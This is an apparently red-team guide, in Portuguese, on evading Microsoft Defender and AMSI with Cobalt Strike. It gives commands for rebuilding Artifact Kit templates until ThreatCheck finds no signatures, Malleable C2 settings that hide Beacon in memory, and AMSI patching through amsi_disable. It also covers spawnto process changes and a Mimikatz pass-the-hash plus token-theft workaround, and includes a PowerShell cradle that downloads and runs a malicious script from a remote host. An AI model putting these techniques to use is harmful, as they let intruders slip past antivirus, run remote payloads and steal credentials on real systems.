Microsoft Defender Antivirus

Validando Bypass

AMSI

Execute o comando abaixo no Powershell para verificar se o AMSI está ativo.

Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

Se o resultado for This script contains malicious content and has been blocked by your antivirus software., significa que o AMSI está ativo, porém se a resposta for AMSI: The term 'AMSI' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again., o AMSI não está funcionando corretamente.

Defender

Para verificar se o Defender realmente está funcionando, salve um arquivo chamado eicar.txt no Área de Trabalho, com o conteúdo abaixo. Se o Defender estiver ativo, irá receber uma alerta/notificação e o arquivo irá ser excluído instantaneamente.

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Artifact Kit

O Defender trabalha com 3 pilares, sendo elas: On-disk, In-memory e Behavioural.

Existem 4 tipos de templates de artefatos, sendo eles:

  • mailslot = Lê o shellcode em um maillot

  • peek = Usa uma combinação de Sleep, PeekMessage e GetTickCount

  • pipe = Lê o shellcode em um pipe nomeado

  • readfile = O artefato se lê do disco e procura encontrar o shellcode incorporado

No comando abaixo, vamos construir um novo conjunto de modelos de artefatos usando a técnica pipe, através do WSL do Windows. Ao gerar os arquivos, eles serão salvos no diretório pipe, que fica dentro do diretório informado no último parâmetro do comando. Não se preocupe, caso os diretórios não existam, o próprio script irá criá-los.

cd </path/to/cobaltstrike/arsenal-kit/kits/artifact/>
./build.sh pipe VirtualAlloc 310272 5 false false none </path/to/cobaltstrike/artifact/>

Através da nomeclatura dos arquivos gerados, podemos ver convenções de nomes como 32 ou 64 que determina a arquitetura, big para indicar que não tem estágios (ou seja, stageless) e svc para denotar um executável de serviço.

Antes de carregá-los no Cobalt Strike os arquivos gerados, é útil analisá-los com o ThreatCheck. Isso dividirá o arquivo em pequenos pedaços e os examinará com o Defender para revelar quaisquer partes que acionem assinaturas estáticas. Observe que o ThreatCheck não pode emular a sandbox AV, portanto, isso é apenas para assinaturas estáticas. Desative o Defender antes de executar o comando abaixo, quando estamos lidando com binários.

<C:\path\to\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe> -f <C:\path\to\save\artifacts\pipe\artifact64svcbig.exe>

Se tiver algum Bad Byte identificado, o ThreatCheck irá mostrar o seu offset, por exemplo, 0xA6D1. A mensagem deve ser algo parecido com Identified end of bad bytes at offset 0xA6D1. Guarde também o valor da última linha que deve ser algo como 28 BB 13 24 B3 C1 1A A2 2F FB C4 57 05 87 AC 4F.

Agora abra o Ghidra (<C:\path\to\ghidra-10.3.1\ghidraRun.bat>), crie um novo projeto não compartilhado (Non-Shared Project), importe o executável em questão ( arrastando-o para dentro do projeto ou através do menu), no caso é o arquivo artifact64svcbig.exe e dê dois cliques nele. Irá aparecer um popup perguntando se deseja analisar o arquivos, clique em Yes, depois em Analyze e depois aguarde algum tempo até finalizar a análise. Depois que estiver carregado, vá no Menu Search > Memory e cole o hex que estava no final do comando anterior (ex.: 28 BB 13 24 B3 C1 1A A2 2F FB C4 57 05 87 AC 4F) e clique em Search All. Com isso, selecione (do lado esquedo) o hex inserido e veja no lado direito a parte em que está sendo alertado pelo AMSI. Esse trecho de código não é fiel ao trecho original, mas assipodemos ter uma base do que está alertando. Outra maneira é irmos no Menu Navigation > Go To e digitar file(<0xA6D1>), onde o <0xA6D1> deve ser substituído pelo offset exibido na saída do comando anterior. Procure agora esse trecho de código (ou algo semelhante) nos arquivos do presente em <C:\path\to\cobaltstrike\arsenal-kit\kits\artifact\src-common\>, altere o nome algumas variáveis, concatene valores, adicione linhas como GetTickCount(); entre elas, etc. Com isso já feito, precisamos agora executar o build novamente.

<C:\path\to\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe> -f <C:\path\to\save\artifacts\pipe\artifact64svcbig.exe>

Caso dê erro, faço o processo novamente até que o ThreatCheck valide com sucesso o arquivo. Quando validado pelo ThreatCheck, importe o arquivo gerado (através do build.sh) com extensão .cna, através do CS no Menu Cobalt Strike > Script Manager. Agora vá no Menu Attacks > Windows Stageless Generate All Payloads para sobreescrever os payloads já existentes. Agora algumas execuções irão funcionar, já que o AMSI não é mais capaz de detectá-lo.

Para desfazer as alterações, basta dar um unload no arquivo .cna e gerar novamente os Payloads.

Malleable C2

Ter falha no teste do ThreatCheck, nos indica que a(s) assinatura(s) tem como alvo o loader reflexivo ou a DLL Beacon. O código-fonte do Beacon é fechado, portanto não temos como acessá-lo ou modificá-lo diretamente. A maneira mais fácil de fazer modificações em ambos os componentes é usando o que está exposto em Maleable C2. Se executarmos o ThreatCheck em um arquivo como http_x64.svc.exe, iremos ter êxito, porém no arquivo http_x64.xprocess.bin, não teremos. Estas são as quatro configurações simples que recomendo tentar:

stage {
        set userwx "false";
        set cleanup "true";
        set obfuscate "true";
        set module_x64 "xpsservices.dll";
}

userwx

Definir userwx como false informa ao loader reflexivo para alocar memória para o Beacon DLL como RW/RX em vez de RWX. Embora isso não remova nenhuma indicação do próprio Beacon, ter memória RX é certamente menos suspeito do que RWX.

cleanup

Definir cleanup como true diz ao Beacon para liberar a memória associada ao loader reflexivo após ele ter sido carregado. Depois que o Beacon é carregado, o loader reflexivo não é mais necessário e deixá-lo na memória apenas resulta em indicadores esperando para serem localizados. Isso permite que o loader reflexivo seja liberado, removendo assim esses indicadores pelo restante da vida útil do Beacon.

obfuscate

Definir ofuscate como true faz várias coisas, mas o mais interessante é que ele instrui o loader reflexivo a carregar o Beacon na memória sem seus cabeçalhos DLL. A omissão desses cabeçalhos reduz o número de indicadores na memória, o que irá contornar as assinaturas direcionadas a eles especificamente Em todos os casos, podemos ver que a coluna Use da região de memória do Beacon está em branco. Isso ocorre porque a DLL é carregada reflexivamente da memória, em vez de ser carregada do disco. Todas as outras regiões RX legítimas no processo são apoiadas por uma DLL no disco, o que faz com que o Beacon se destaque. Definir module_x64 (e module_x86 para cargas úteis de 32 bits) diz ao carregador reflexivo para carregar primeiro a DLL especificada do disco e depois substituir a memória alocada para ela com Beacon. Isso tem o efeito de fazer parecer que a região de memória do Beacon é apoiada por uma DLL legítima. Há duas advertências a serem consideradas ao escolher uma DLL para usar.

  • O tamanho da DLL deve ser igual ou maior que o Beacon

  • A DLL não deve ser necessária para o aplicativo que hospeda o Beacon. Isso não é uma preocupação ao executar os artefatos, mas torna-se relevante ao injetar o shellcode do Beacon em processos existentes

AMSI (Antimalware Scan Interface)

O AMSI é uma ferramenta nativa do Windows que foi projetada para combater malware fileless, que foi tão popularizado por ferramentas como o EmpireProject, que aproveitou o PowerShell para obter C2 completo na memória.

ThreatCheck

Mesmo que esteja na memória, as detecções ainda são baseadas em assinaturas "conhecidamente inválidas". Os arquivos do PowerShell são um pouco mais fáceis de analisar em comparação com os arquivos binários - a verificação com ThreatCheck e o parâmetro -e amsi revelará as strings incorretas. Antes de executar o comando abaixo, certifique-se de habilitar a proteção em tempo real do Defender.

<C:\path\to\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe> -f <C:\path\to\smb_x64.ps1> -e amsi

No final da saída do comando, irá ser exibida a string onde houve uma detecção (caso haja). Sendo assim, abra o arquivo ps1 e edite esse trecho de código, alterando nomes de variávels para um nome aleatório. Após realizar as alterações, execute o build.sh novamente e depois execute o ThreatCheck para verificar se deu certo. Caso tenha encontrado outra string com impedimento, realize novamente o processo.

Quando estiver tudo certo, podemos executar o arquivo ps1 malicioso de forma simples

iex (new-object net.webclient).downloadstring("http://<ip>/<mysther>")

AMSI x Post-Exploitation

A carga útil do Beacon não é o único lugar onde a AMSI irá arrebatá-lo, mas também em vários comandos pós-exploração que a AMSI pode instrumentar. Para citar alguns são powershell, powerpick e execute-assembly. Isso ocorre porque o Beacon irá gerar novos processos para executar esses comandos, e cada processo obtém sua própria cópia do AMSI. Aqui então, estamos em um cenário onde conseguimos ter o Beacon na máquina, porém estamos limitado, sendo por exemplo o Beacon perdido, quando executamos o Powershell ou importamos algum arquivo ps1. O mesmo pode acontecer, se executarmos um execute-assembly no Beacon dessa máquina. Seria um pouco complicado modificar e ofuscar cada ferramenta pós-ex, então o Cobalt Strike introduziu uma configuração que podemos aplicar no Malleable C2 chamada amsi_disable. Isso usa uma técnica de patch de memória para desabilitar o AMSI no processo gerado antes de injetar o recurso post-ex. De maneira bem simples, adicione a função abaixo no início do arquivo (acima de http-get)

post-ex {
        set amsi_disable "true";
}

Para garantir que não quebrou a funcionalidade do CS, verifique com o comando abaixo. É normal ter "Warnings", porém não deve ter erros.

</path/to/colbaltrike/c2lint <c2-profiles/normal/webbug.profile>

Reinicie o seu CS Server, acesso novament o Beacon na máquina bloqueante e note que agora é possível executar o Rubeus. Importante notar que, o amsi_disable se aplica somente ao Powerpick, execute-assembly e psinject, mas não se aplica ao Powershell.

Detecções Comportamentais

É comum que o Beacon fique perdendo conexão, nos obrigando a montar um novo Beacon. Isso acontece quando estamos utilizando o rundll32. Sempre que nos conectarmos no Beacon, o ideal é utilizarmos o dllhost para que tenhamos um Beacon mais estável. Para ver o nome do processo atual, utilize o comando abaixo?

powerpick Get-Process -Id $pid | select ProcessName

Para alterar o processo, utilize um dos comandos abaixo (de acordo com a arquitetura do SO)

spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe

Depois de ter migrado para o dllhost, podemos utilizar o Beacon sem ser detectado pelo AMSI. Porém note que, não iremos mais utilizar o powershell, mas sim o powerpick. Abaixo, um exemplo de executar o PowerView.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powerpick Get-Domain

Caso queira voltar ao processo padrão, utilize o comando spawnto, sem passar nenhum argumento:

spawnto

Assim como fizemos com o amsi_disable, também podemos colocar a configuração do spanwto no arquivo de confuguração (webbug.profile). Juntando com o código anterior, a nossa função post-ex irá ficar da seguinte maneira:

post-ex {
        set amsi_disable "true";

        set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
        set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}

Ao mover lateralmente com psexec, o Beacon tentará usar a configuração spawnto do seu perfil C2 maleável. No entanto, ele não pode usar variáveis de ambiente (como %windir%), portanto retornará para rundll32 nesses casos. Você pode substituir isso em tempo de execução com o comando ak-settings para especificar um caminho absoluto.

ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exe

Detecções de Linha de Comando

O Defender também tem a capacidade de inspecionar os argumentos da linha de comando de um processo e pode impedir que ele seja iniciado se contiver conteúdo malicioso. Um lugar comum onde você pode encontrar isso é com o comando pth, como vimos na sessão de Impersonate.

pth <SUBDOMAIN>\<user> <hash-ntlm>

Esse tipo de comando pode ser bloqueado pelo AMSI, já que isso na verdade está executando o Mimikatz e utilizando o pipe. Assim que executamos o comando no Beacon, ele irá mostrar o comando real que está sendo utilizado, e para o comando acima, será algo como:

sekurlsa::pth /user:"<user>" /domain:"<SUBDOMAIN>" /ntlm:<ntlm-hash> /run:"%COMSPEC% /c echo d35ed571b8f > \\.\pipe\af43b3"

Para criarmos um bypass no pipe e conseguirmos fazer nosso impersonte, utilize o comando abaixo, assim iremos criar um processo arbritário (notepad.exe) e depois roubar o seu token manualmente.

mimikatz sekurlsa::pth /user:"<user>" /domain:"<SUBDOMAIN>" /ntlm:<ntlm-hash> /run:notepad.exe
 # Valor do PID está na saída do comando acima
steal_token <PID>

Sites

# ThreatCheck
https://github.com/rasta-mouse/ThreatCheck

# IDA
https://hex-rays.com/

# Ghidra
https://github.com/NationalSecurityAgency/ghidra

Last updated